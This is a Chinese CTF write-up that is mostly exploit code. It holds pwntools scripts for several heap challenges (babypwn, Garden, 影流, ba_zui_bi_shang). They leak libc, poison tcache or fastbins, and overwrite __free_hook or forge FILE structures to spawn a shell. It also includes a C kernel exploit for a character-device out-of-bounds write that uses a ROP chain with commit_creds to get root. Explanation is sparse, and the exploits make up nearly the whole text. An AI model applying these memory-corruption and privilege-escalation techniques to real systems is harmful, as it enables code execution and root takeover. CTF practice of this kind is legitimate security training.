整体来说,在各个考的知识点里面还是不难的,就算逆不出来,gdb硬调就行了 附件
随便打打,打完太湖杯,到处玩一玩,放松下
babypwn
| 1 | from pwn import* | 
| 2 | def menu(ch): | 
| 3 | 	p.sendlineafter('choice:',str(ch)) | 
| 4 | def init(): | 
| 5 | 	menu(1) | 
| 6 | def create(): | 
| 7 | 	menu(2) | 
| 8 | def new(size): | 
| 9 | 	menu(3) | 
| 10 | 	p.sendlineafter('size:',str(size)) | 
| 11 | def Set(content): | 
| 12 | 	menu(4) | 
| 13 | 	p.sendafter('content:',content) | 
| 14 | def show(): | 
| 15 | 	menu(5) | 
| 16 | def size(): | 
| 17 | 	menu(6) | 
| 18 | p = process('./main') | 
| 19 | elf =ELF('./main') | 
| 20 | libc =ELF('./libc-2.23.so') | 
| 21 | context.log_level = 'DEBUG' | 
| 22 | init() | 
| 23 | create() | 
| 24 | init() | 
| 25 | show() | 
| 26 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x68 | 
| 27 | log.info('LIBC:\t' + hex(libc_base)) | 
| 28 | create() | 
| 29 | new(0x10) | 
| 30 | show() | 
| 31 | p.recvuntil('show:\n') | 
| 32 | p.recv(8) | 
| 33 | heap = u64(p.recv(8)) | 
| 34 | log.info('HEAP:\t' + hex(heap)) | 
| 35 | new(0x100) | 
| 36 | create() | 
| 37 | Set('\x00'*0x10 + p64(libc_base + libc.sym['free']) + p64(0x21) + p64(heap) + p64(libc_base + libc.sym['__free_hook'])) | 
| 38 | Set(p64(libc_base + 0xF1207)) | 
| 39 | size() | 
| 40 | p.interactive() | 
Garden
| 1 | from pwn import* | 
| 2 | #context.log_level = 'DEBUG' | 
| 3 | def menu(ch): | 
| 4 | 	p.sendlineafter('>> ',str(ch)) | 
| 5 | def new(idx,content): | 
| 6 | 	menu(1) | 
| 7 | 	p.sendlineafter('index?',str(idx)) | 
| 8 | 	p.sendafter('name?',content) | 
| 9 | def free(index): | 
| 10 | 	menu(2) | 
| 11 | 	p.sendlineafter('index?',str(index)) | 
| 12 | def show(index): | 
| 13 | 	menu(3) | 
| 14 | 	p.sendlineafter('index?',str(index)) | 
| 15 | def gift(index): | 
| 16 | 	menu(5) | 
| 17 | 	p.sendlineafter('steal?',str(index)) | 
| 18 | p = process('./main') | 
| 19 | p = remote('8.131.69.237',32452) | 
| 20 | libc =ELF('./libc-2.29.so') | 
| 21 | for i in range(9): | 
| 22 | 	new(i,'FMYY') | 
| 23 | for i in range(9): | 
| 24 | 	free(8 - i) | 
| 25 | for i in range(7): | 
| 26 | 	new(i,'FMYY') | 
| 27 | new(7,'\xF0') | 
| 28 | show(7) | 
| 29 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x1C0 - 0x100 | 
| 30 | log.info('LIBC:\t' + hex(libc_base)) | 
| 31 | new(8,'FMYY') | 
| 32 | |
| 33 | for i in range(7): | 
| 34 | 	free(6 - i) | 
| 35 | free(7) | 
| 36 | gift(8) | 
| 37 | for i in range(7): | 
| 38 | 	new(i,'FMYY') | 
| 39 | menu(6) | 
| 40 | new(7,'\x00'*0xD0 + p64(0) + p64(0x111) + '\x00'*0x20) | 
| 41 | free(6) | 
| 42 | free(8) | 
| 43 | free(7) | 
| 44 | new(7,'\x00'*0xD0 + p64(0) + p64(0x111) + p64(libc_base + libc.sym['__free_hook'])) | 
| 45 | new(8,'/bin/sh\x00') | 
| 46 | new(6,p64(libc_base + libc.sym['system'])) | 
| 47 | free(8) | 
| 48 | p.interactive() | 
影流
| 1 | from pwn import* | 
| 2 | context.log_level = 'DEBUG' | 
| 3 | p = process('./main') | 
| 4 | p = remote('112.126.71.170',45123) | 
| 5 | elf =ELF('./main') | 
| 6 | libc =ELF('./libc-2.23.so') | 
| 7 | p.sendline('1') | 
| 8 | sleep(0.1) | 
| 9 | p.sendline('2') | 
| 10 | sleep(0.1) | 
| 11 | p.sendline('0') | 
| 12 | sleep(0.1) | 
| 13 | p.sendline('3') | 
| 14 | sleep(0.1) | 
| 15 | p.sendline('0') | 
| 16 | sleep(0.1) | 
| 17 | p.sendline(p64(0x60203D)) | 
| 18 | sleep(0.1) | 
| 19 | p.sendline('1') | 
| 20 | sleep(0.1) | 
| 21 | p.sendline('1') | 
| 22 | sleep(0.1) | 
| 23 | p.sendline('3') | 
| 24 | sleep(0.1) | 
| 25 | p.sendline('2') | 
| 26 | sleep(0.1) | 
| 27 | p.send('\x00'*0x13 + p64(elf.got['free']) + p64(0x602060)) | 
| 28 | sleep(0.1) | 
| 29 | p.sendline('4') | 
| 30 | sleep(0.1) | 
| 31 | p.sendline('0') | 
| 32 | sleep(0.1) | 
| 33 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['free'] | 
| 34 | log.info('LIBC:\t' + hex(libc_base)) | 
| 35 | p.sendline('3') | 
| 36 | sleep(0.1) | 
| 37 | p.sendline('3') | 
| 38 | sleep(0.1) | 
| 39 | p.sendline('1') | 
| 40 | sleep(0.1) | 
| 41 | p.sendline(p64(libc_base + libc.sym['__free_hook']) + p64(0x602070)) | 
| 42 | sleep(0.1) | 
| 43 | p.sendline('3') | 
| 44 | sleep(0.1) | 
| 45 | p.sendline('0') | 
| 46 | sleep(0.1) | 
| 47 | p.sendline(p64(libc_base + libc.sym['system'])) | 
| 48 | sleep(0.1) | 
| 49 | p.sendline('3') | 
| 50 | sleep(0.1) | 
| 51 | p.sendline('1') | 
| 52 | sleep(0.1) | 
| 53 | p.sendline('/bin/bash') | 
| 54 | sleep(0.1) | 
| 55 | p.sendline('2') | 
| 56 | sleep(0.1) | 
| 57 | p.sendline('1') | 
| 58 | sleep(0.1) | 
| 59 | p.interactive() | 
ba_zui_bi_shang
| 1 | from pwn import* | 
| 2 | def S(ch): | 
| 3 | 	p.sendlineafter('>',str(ch)) | 
| 4 | def alloc(size,content): | 
| 5 | 	S(1) | 
| 6 | 	S(size) | 
| 7 | 	p.sendafter('>',content) | 
| 8 | def free(): | 
| 9 | 	S(2) | 
| 10 | 	 | 
| 11 | def mallopt(param,n): | 
| 12 | 	S(3) | 
| 13 | 	S(param) | 
| 14 | 	S(n) | 
| 15 | def gift(size,content): | 
| 16 | 	S(4) | 
| 17 | 	S(size) | 
| 18 | 	p.sendafter('>',content) | 
| 19 | p = process('./main') | 
| 20 | libc =ELF('./libc-2.23.so') | 
| 21 | p.recvuntil('Your Gift : ') | 
| 22 | libc_base = int(p.recv(14),16) - libc.sym['puts'] | 
| 23 | log.info('LIBC:\t' + hex(libc_base)) | 
| 24 | S(0x4FF) | 
| 25 | S('FMYY') | 
| 26 | alloc(0x18,'FMYY') | 
| 27 | free() | 
| 28 | alloc(0x18,'FMYY') | 
| 29 | mallopt(1,7) | 
| 30 | mallopt(1,0x78) | 
| 31 | gift(0x4FF,'\x78') | 
| 32 | IO_list_all = libc_base + libc.sym['_IO_list_all'] | 
| 33 | IO_str_jumps = libc_base +libc.symbols['_IO_file_jumps'] + 0xC0 | 
| 34 | fake_IO  = p64(0) + p64(0) | 
| 35 | fake_IO += p64(0) + p64(0) | 
| 36 | fake_IO += p64(0) + p64(1) | 
| 37 | fake_IO += p64(0) + p64(libc_base+libc.search('/bin/sh').next()) | 
| 38 | fake_IO  = fake_IO.ljust(0xD8,'\x00') | 
| 39 | fake_IO += p64(IO_str_jumps - 8) | 
| 40 | fake_IO += p64(0) + p64(libc_base + libc.sym['system']) | 
| 41 | |
| 42 | gift(0x470,fake_IO) | 
| 43 | gift(0x410,'\x00'*8 + p64(libc_base + libc.sym['__malloc_hook'] + 1400 + 0x10)) | 
| 44 | S(5) | 
| 45 | p.interactive() | 
Beauty_Of_ChangChun
简单的利用small bin和 tcache的任意写,知道思路,半个小时就能写出来exp,有点个人问题,这里就不放出来了
babydev
mychrdev_unlocked_ioctl
| 1 | unsigned int64 mychrdev_unlocked_ioctl(int64 fd, int cmd, int64 user_ptr) | 
| 2 | { | 
| 3 | 	  process_name = (const char *)(string + 4); | 
| 4 | 	  memcpy($rsp+0x4, process_name ,strlen(process_name) + 1); | 
| 5 | 	  var_2 = *(_QWORD *)(mydata + 0x10008); | 
| 6 | 	  var_1 = *(_DWORD *)(mydata + 0x10000); | 
| 7 | 	  *($rsp + 0x20) = mydata; | 
| 8 | 	  *($rsp + 0x14) = 0x10000 - var_2; | 
| 9 | 	  *($rsp + 0x18) = (var_2 - var_1)&0xFFFFFFFF; | 
| 10 | 	  copy_to_user(user_ptr, ($rsp+0x0), 0x28LL); | 
| 11 | } | 
取了当前运行的程序的名字放入栈上, 然后把栈上的数据传给用户
从*($rsp + 0x20) = mydata; 和栈上残留信息能够拿到栈地址和全局变量 mydata指针的地址
mychrdev_write
| 1 | signed int64  mychrdev_write(int64 fd, int64 user_ptr, int64 nbytes, int64 *($rsp + 0x70)) | 
| 2 | { | 
| 3 |   var_1 = *($rsp + 0x70); | 
| 4 |   if ( var_1 > 0xFFFFLL && var_1 >= *(mydata + 0x10008)) | 
| 5 |   	return false; | 
| 6 |   if ((var_1 + nbytes) > 0x10000 ) | 
| 7 |     nbytes = (-(short int)var_1)&0xFFFF; | 
| 8 |   if ( copy_from_user(mydata + *(mydata + 0x10000) + var_1, user_ptr, nbytes) ) | 
| 9 |     return false; | 
| 10 |   *($rsp + 0x70) += nbytes; | 
| 11 |   *(mydata + 0x10008) += nbytes; | 
mychrdev_llseek
可以设置read和write的第四个参数指针的值,即前面$rsp+0x70处的数值
漏洞
漏洞点在于nbytes = (-(short int)var_1)&0xFFFF;虽然判断总大小越界
| 1 | .text:00000000000002B6                 mov     ebx, 10000h | 
| 2 | .text:00000000000002BB                 sub     rbx, rdx | 
| 3 | .text:00000000000002BE                 movzx   ebx, bx | 
edx则是llseek设置的值,如果等于0x10001,那么sub rbx,rdx之后,则rbx=0xFFFFFFFFFFFFFFFF,那么之后作为nbytes=0xFFFF,而偏移则是从0x10001起始
经过此操作之后,copy_from_user依旧能够执行,之后越界覆盖0x10000和0x10008位置的数值,通过偏移计算,之后则会实现任意写,qemu执行又开启了smep保护,所以不能直接ret2usr,因此用最朴素的ROP方法
Exploit
| 1 | // gcc exp.c -o exp -masm=intel -static | 
| 2 |  | 
| 3 |  | 
| 4 |  | 
| 5 |  | 
| 6 |  | 
| 7 |  | 
| 8 |  | 
| 9 |  | 
| 10 |  | 
| 11 |  | 
| 12 |  | 
| 13 |  | 
| 14 |  | 
| 15 |  | 
| 16 |  | 
| 17 |  | 
| 18 | size_t commit_creds = 0xFFFFFFFF8108D340, prepare_kernel_cred = 0xFFFFFFFF8108D690; | 
| 19 | size_t user_cs, user_ss, user_rflags, user_sp; | 
| 20 | size_t data[0x4000]; | 
| 21 | size_t mydata; | 
| 22 | size_t stack; | 
| 23 | void save_status() | 
| 24 | { | 
| 25 | 	__asm__("mov user_cs, cs;" | 
| 26 | 			"mov user_ss, ss;" | 
| 27 | 			"mov user_sp, rsp;" | 
| 28 | 			"pushf;" | 
| 29 | 			"pop user_rflags;" | 
| 30 | 			); | 
| 31 | 	puts("[*]Status Has Been Saved."); | 
| 32 | } | 
| 33 | size_t find_symbols() | 
| 34 | { | 
| 35 | 	FILE* kallsyms_fd = fopen("/proc/kallsyms", "r"); | 
| 36 | |
| 37 | 	if(kallsyms_fd < 0) | 
| 38 | 	{ | 
| 39 | 		puts("[*]open kallsyms error!"); | 
| 40 | 		exit(0); | 
| 41 | 	} | 
| 42 | |
| 43 | 	char buf[0x30] = {0}; | 
| 44 | 	while(fgets(buf, 0x30, kallsyms_fd)) | 
| 45 | 	{ | 
| 46 | 		if(commit_creds & prepare_kernel_cred) | 
| 47 | 			return 0; | 
| 48 | |
| 49 | 		if(strstr(buf, "commit_creds") && !commit_creds) | 
| 50 | 		{ | 
| 51 | 			char hex[20] = {0}; | 
| 52 | 			strncpy(hex, buf, 16); | 
| 53 | 			sscanf(hex, "%llx", &commit_creds); | 
| 54 | 			printf("Commit_Creds: %p\n", commit_creds); | 
| 55 | 		} | 
| 56 | |
| 57 | 		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) | 
| 58 | 		{ | 
| 59 | 			char hex[20] = {0}; | 
| 60 | 			strncpy(hex, buf, 16); | 
| 61 | 			sscanf(hex, "%llx", &prepare_kernel_cred); | 
| 62 | 			printf("Prepare_Kernel_Cred: %p\n", prepare_kernel_cred); | 
| 63 | 		} | 
| 64 | 	} | 
| 65 | |
| 66 | 	if(!(prepare_kernel_cred & commit_creds)) | 
| 67 | 	{ | 
| 68 | 		puts("[*]Error!"); | 
| 69 | 		exit(0); | 
| 70 | 	} | 
| 71 | |
| 72 | } | 
| 73 | void get_root() | 
| 74 | { | 
| 75 | 	char* (*pkc)(int) = prepare_kernel_cred; | 
| 76 | 	void (*cc)(char*) = commit_creds; | 
| 77 | 	(*cc)((*pkc)(0)); | 
| 78 | } | 
| 79 | |
| 80 | void get_shell() | 
| 81 | { | 
| 82 | 	system("/bin/sh"); | 
| 83 | } | 
| 84 | |
| 85 | int main() | 
| 86 | { | 
| 87 | 	save_status(); | 
| 88 | 	signal(SIGSEGV, get_shell); | 
| 89 | 	signal(SIGTRAP, get_shell); | 
| 90 | 	int fd = open("/dev/mychrdev",O_WRONLY); | 
| 91 | 	ioctl(fd,0x1111,data); | 
| 92 | 	mydata = data[4]; | 
| 93 | 	stack = (data[2] | 0xFFFFC90000000000) - 0x10; | 
| 94 | 	printf("[+] mydata at: %p\n",mydata); | 
| 95 | 	printf("[+] Stack at: %p\n",stack); | 
| 96 | 	write(fd,data,0xF000); | 
| 97 | 	lseek64(fd,0x100,0); | 
| 98 | 	write(fd,data,0x10000); | 
| 99 | 	lseek64(fd,0x10001,0); | 
| 100 | 	data[0] = stack - mydata; | 
| 101 | 	data[1] = stack - mydata + 0x10000; | 
| 102 | 	write(fd,(char*)data+1,0x10000); | 
| 103 | 	size_t off = stack&0xFF; | 
| 104 | 	lseek64(fd,off,0); | 
| 105 | 	int i = 0; | 
| 106 | 	data[i++] = pop_rdi_ret; | 
| 107 | 	data[i++] = 0; | 
| 108 | 	data[i++] = prepare_kernel_cred; | 
| 109 | 	data[i++] = xchg_rax_rdi; | 
| 110 | 	data[i++] = commit_creds; | 
| 111 | 	data[i++] = swapgs_popfq_ret;			// swapgs; popfq; ret | 
| 112 | 	data[i++] = 0; 							// rflags | 
| 113 | 	data[i++] = 0; | 
| 114 | 	data[i++] = iretq;						// iretq; ret; | 
| 115 | 	data[i++] = (size_t)get_shell;			// rip | 
| 116 | |
| 117 | 	data[i++] = user_cs;					// cs | 
| 118 | 	data[i++] = user_rflags;				// rflags | 
| 119 | 	data[i++] = user_sp;					// rsp | 
| 120 | 	data[i++] = user_ss;					// ss | 
| 121 | 	write(fd,data,0x100); | 
| 122 | } | 
参考Nu1L战队的exp改的,然后自己调试了下,太久没做Kernel题,遇到LKM也是懵的了,顺便复习了一下Kernel的基础知识
